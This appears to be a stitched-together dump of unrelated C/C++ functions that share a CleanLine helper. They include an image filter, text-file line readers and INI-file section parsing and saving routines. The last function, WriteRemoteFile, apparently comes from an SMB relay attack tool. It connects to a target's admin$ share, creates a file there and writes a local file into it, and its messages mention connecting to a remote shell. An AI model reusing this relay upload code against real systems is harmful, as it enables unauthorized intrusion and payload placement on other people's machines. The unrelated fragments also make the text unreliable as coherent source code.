static int filtro_gestos_clean(lua_State *L) { dato_t *in = (filtro_gestos_in_imagen_t *)lua_touserdata(L, 1); bounds_t *bounds = (bounds_t *)lua_touserdata(L, 2); int i; for(i=0; i<in->m_alto; i++){ int mini= min(bounds->si.y,bounds->sd.y); //Cambio************ int maxi=max(bounds->ii.y,bounds->id.y); //Cambio************ if(i<mini+BORDER || i>maxi-BORDER) CleanLine(in,i,0,in->m_ancho,1); else CleanLine(in,i,bounds->ii.x,bounds->id.x,0); } // free(bounds); return 0; }
// Reads a line from m_file. Removes comments that are marked with // a hash ('#', aka the pound sign or indeed the octothorpe) character. // Returns 0 on EOF, 1 otherwise bool TextFileReader::ReadLine() { bool eof = false; m_tokenIndex = 0; // // Read some data from the file // If fgets returns NULL that means we've found the EOF if (fgets(m_line, m_maxLineLen + 1, m_file) == NULL) { m_line[0] = '\0'; eof = true; } // // Make sure we read a whole line bool found = false; while (!found && !eof) { if (strchr(m_line, '\n')) { found = true; } if (!found) { unsigned int oldLineLen = m_maxLineLen; DoubleMaxLineLen(); if (fgets(&m_line[oldLineLen], oldLineLen + 1, m_file) == NULL) { eof = true; } } } CleanLine(); m_lineNum++; return !eof; }
// Reads a line from a block of text data. Removes comments that are marked with // a hash ('#', aka the pound sign or indeed the octothorpe) character. // Returns 0 on EOF, 1 otherwise bool TextDataReader::ReadLine() { bool eof = false; m_tokenIndex = 0; // Find the next '\n' character unsigned int eolOffset = m_offset; for (eolOffset = m_offset; eolOffset < m_dataSize; ++eolOffset) { if (m_data[eolOffset] == '\n') { break; } } if (eolOffset == m_dataSize) { eolOffset--; eof = true; } // Make sure the line buffer is big enough to accomodate our painful length unsigned int lineLen = eolOffset - m_offset + 1; while (lineLen > m_maxLineLen) { DoubleMaxLineLen(); } // Copy from the data block into m_line memcpy(m_line, &m_data[m_offset], lineLen); m_line[lineLen] = '\0'; // Move m_offset on m_offset += lineLen; CleanLine(); m_lineNum++; return !eof; }
void CIniFileBase::GetKeyValueData ( LPCTSTR lpSectionName, KeyValueData & List ) { CGuard Guard(m_CS); if (!m_File.IsOpen()) { return; } std::string strSection; if (lpSectionName == NULL || _tcslen(lpSectionName) == 0) { strSection = "default"; } else { strSection = lpSectionName; } if (!MoveToSectionNameData(strSection.c_str(),false)) { return; } int MaxDataSize = 0, DataSize = 0, ReadPos = 0, result; char *Input = NULL, *Data = NULL; do { result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos); if (result <= 1) { continue; } if (strlen(CleanLine(Input)) <= 1) { continue; } if (Input[0] == '[') { break; } char * Pos = strchr(Input,'='); if (Pos == NULL) { continue; } Pos[0] = 0; List.insert(KeyValueData::value_type(Input,&Pos[1])); } while (result >= 0); if (Data) { delete [] Data; Data = NULL; } }
bool CIniFileBase::MoveToSectionNameData ( LPCSTR lpSectionName, bool ChangeCurrentSection ) { if (strcmp(lpSectionName,m_CurrentSection.c_str()) == 0) { return true; } if (ChangeCurrentSection) { SaveCurrentSection(); m_CurrentSection = ""; } char *Input = NULL, *Data = NULL; int MaxDataSize = 0, DataSize = 0, ReadPos = 0, result; FILELOC_ITR iter = m_SectionsPos.find(std::string(lpSectionName)); bool bFoundSection = false; if (iter != m_SectionsPos.end()) { if (ChangeCurrentSection) { m_CurrentSection = iter->first; m_CurrentSectionFilePos = iter->second; } m_File.Seek(iter->second,CFileBase::begin); bFoundSection = true; } else { m_File.Seek(m_lastSectionSearch, CFileBase::begin); //long Fpos; BYTE pUTF8[3]; pUTF8[0] = 0xef; pUTF8[1] = 0xbb; pUTF8[2] = 0xbf; do { result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos); if (result <= 1) { continue; } if (strlen(CleanLine(Input)) <= 1) { continue; } //We Only care about sections char * CurrentSection = Input; if (m_lastSectionSearch == 0 && !memcmp(CurrentSection, pUTF8, 3)) { CurrentSection += 3; } if (CurrentSection[0] != '[') { continue; } int lineEndPos = (int)strlen(CurrentSection) - 1; if (CurrentSection[lineEndPos] != ']') { continue; } //take off the ']' from the end of the string CurrentSection[lineEndPos] = 0; CurrentSection += 1; m_lastSectionSearch = (m_File.GetPosition() - DataSize) + ReadPos; m_SectionsPos.insert(FILELOC::value_type(CurrentSection,m_lastSectionSearch)); if (_stricmp(lpSectionName,CurrentSection) != 0) { continue; } if (ChangeCurrentSection) { m_CurrentSection = lpSectionName; m_CurrentSectionFilePos = m_lastSectionSearch; } else { m_File.Seek(m_lastSectionSearch,CFileBase::begin); } bFoundSection = true; break; } while (result >= 0); } if (bFoundSection && ChangeCurrentSection) { m_CurrentSectionData.clear(); do { result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos); if (result <= 1) { continue; } if (strlen(CleanLine(Input)) <= 1) { continue; } if (Input[0] == '[') { break; } char * Pos = strchr(Input,'='); if (Pos == NULL) { continue; } char * Value = &Pos[1]; char * Pos1 = Pos-1; while (((*Pos1 == ' ') || (*Pos1 == '\t')) && (Pos1 > Input)) { Pos1--; } Pos1[1] = 0; m_CurrentSectionData.insert(KeyValueList::value_type(Input,Value)); } while (result >= 0); } if (Data) { delete [] Data; Data = NULL; } return bFoundSection; }
void CIniFileBase::SaveCurrentSection ( void ) { if (!m_CurrentSectionDirty) { return; } m_CurrentSectionDirty = false; if (m_CurrentSection.length() == 0) { m_CurrentSection = "default"; } int lineFeedLen = (int)strlen(m_LineFeed); if (m_CurrentSectionFilePos == -1) { //Section has not been added yet m_File.Seek(0,CFileBase::end); int len = (int)m_CurrentSection.length() + (lineFeedLen * 2) + 5; AUTO_PTR<char> SectionName(new char[len]); if (m_File.GetLength() < (int)strlen(m_LineFeed)) { sprintf(SectionName.get(),"[%s]%s",m_CurrentSection.c_str(),m_LineFeed); } else { sprintf(SectionName.get(),"%s[%s]%s",m_LineFeed,m_CurrentSection.c_str(),m_LineFeed); } m_File.Write(SectionName.get(),(int)strlen(SectionName.get())); m_CurrentSectionFilePos = m_File.GetPosition(); m_SectionsPos.insert(FILELOC::value_type(m_CurrentSection,m_CurrentSectionFilePos)); } else { //increase/decrease space needed int NeededBufferLen = 0; { AUTO_PTR<char> LineData(NULL); int len = 0; for (KeyValueList::iterator iter = m_CurrentSectionData.begin(); iter != m_CurrentSectionData.end(); iter++) { int newLen = (int)iter->first.length() + (int)iter->second.length() + lineFeedLen + 5; if (newLen > len) { LineData.reset(new char[newLen]); len = newLen; } sprintf(LineData.get(),"%s=%s%s",iter->first.c_str(),iter->second.c_str(),m_LineFeed); NeededBufferLen += (int)strlen(LineData.get()); } } int currentLen = 0; m_File.Seek(m_CurrentSectionFilePos, CFileBase::begin); int MaxDataSize = 0, DataSize = 0, ReadPos = 0, result; char *Input = NULL, *Data = NULL; //Skip first line as it is the section name int StartPos = m_CurrentSectionFilePos; int EndPos = StartPos; do { result = GetStringFromFile(Input,Data,MaxDataSize,DataSize,ReadPos); if (result <= 1) { continue; } if (strlen(CleanLine(Input)) <= 1 || Input[0] != '[') { EndPos = ((m_File.GetPosition() - DataSize) + ReadPos); continue; } if (Input[0] == '[') { NeededBufferLen += lineFeedLen; } break; } while (result >= 0); currentLen = EndPos - StartPos; if (Data) { delete [] Data; Data = NULL; } if (NeededBufferLen != currentLen) { fInsertSpaces(StartPos,NeededBufferLen - currentLen); m_File.Flush(); ClearSectionPosList(StartPos); } //set pointer to beginning of the start pos m_File.Seek(StartPos, CFileBase::begin); } { AUTO_PTR<char> LineData(NULL); int len = 0; for (KeyValueList::iterator iter = m_CurrentSectionData.begin(); iter != m_CurrentSectionData.end(); iter++) { int newLen = (int)iter->first.length() + (int)iter->second.length() + lineFeedLen + 5; if (newLen > len) { LineData.reset(new char[newLen]); len = newLen; } sprintf(LineData.get(),"%s=%s%s",iter->first.c_str(),iter->second.c_str(),m_LineFeed); m_File.Write(LineData.get(),(int)strlen(LineData.get())); } } m_File.Flush(); }
int WriteRemoteFile(RELAY relay, smheader *buffer, char *lpFileName) { char path[256]; char buf[64000]; smheader *packet; int i; int filesize; char *filedata; uint16 FID; uint16 TreeID; sprintf(path,"\\\\%s\\admin$",inet_ntoa(relay.destinationaddr.sin_addr)); memset(buf,0,sizeof(buf)); i=BuildTreeConnectAndXStub(buf,"",path,"?????"); packet=BuildSmbPacket((smheader*)buffer,TREECONNETANDX,0,buf,i);//,(int)strlen(path)); printf("[+] Trying to connect to admin$\r"); if (debug) { CleanLine(verbose); DumpMem((char*)packet,SmbPacketLen(packet)); } i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ CleanLine(verbose); printf("[-] Error. Unable to connect to admin$\n"); return(0); } TreeID=((smheader*)buf)->TreeId; sprintf(path,"\\%s",lpFileName); filedata =ReadFileToSend(&filesize,lpFileName); if(!filedata) { CleanLine(verbose); printf("[-] Error. Unable to open %s\n",lpFileName); return(0); } packet=BuildSmbPacket((smheader*)buf,NTCREATEANDX,0,path,filesize); CleanLine(verbose); printf("[+] Creating Remote File %s under admin$\r",lpFileName); if (debug) { CleanLine(verbose); DumpMem((char*)packet,SmbPacketLen(packet)); } i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ CleanLine(verbose); if ( ((smheader*)buf)->NtStatus == STATUS_SHARING_VIOLATION) { printf("[-] Remote File already in use (try to connect to the remote Shell).\n"); return(1); } printf("[-] Error. Unable to create file under admin$ (Error 0x%x)\n",((smheader*)buf)->NtStatus); return(0); } memcpy((char*)&FID,((smheader*)buf)->buffer+6,2); CleanLine(verbose); printf("[+] Writing File %s into admin$ (%i bytes)\r",lpFileName,filesize); packet=BuildSmbPacket((smheader*)buf,WRITEANDX,0,filedata,filesize); free(filedata); if (debug) { CleanLine(verbose); DumpMem((char*)packet,SmbPacketLen(packet)); } i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ CleanLine(verbose); printf("[-] Error. Unable to Write File.\n"); return(0); } packet=BuildSmbPacket((smheader*)buf,SMBCLOSE,0,&FID,2); packet->TreeId=TreeID; if (verbose) { CleanLine(verbose); printf("[*] Closing File handle - FID: %2.2x\r",FID); if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); } i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ CleanLine(verbose); printf("[-] Error Closing File Handle\n"); return(0); } return(1); }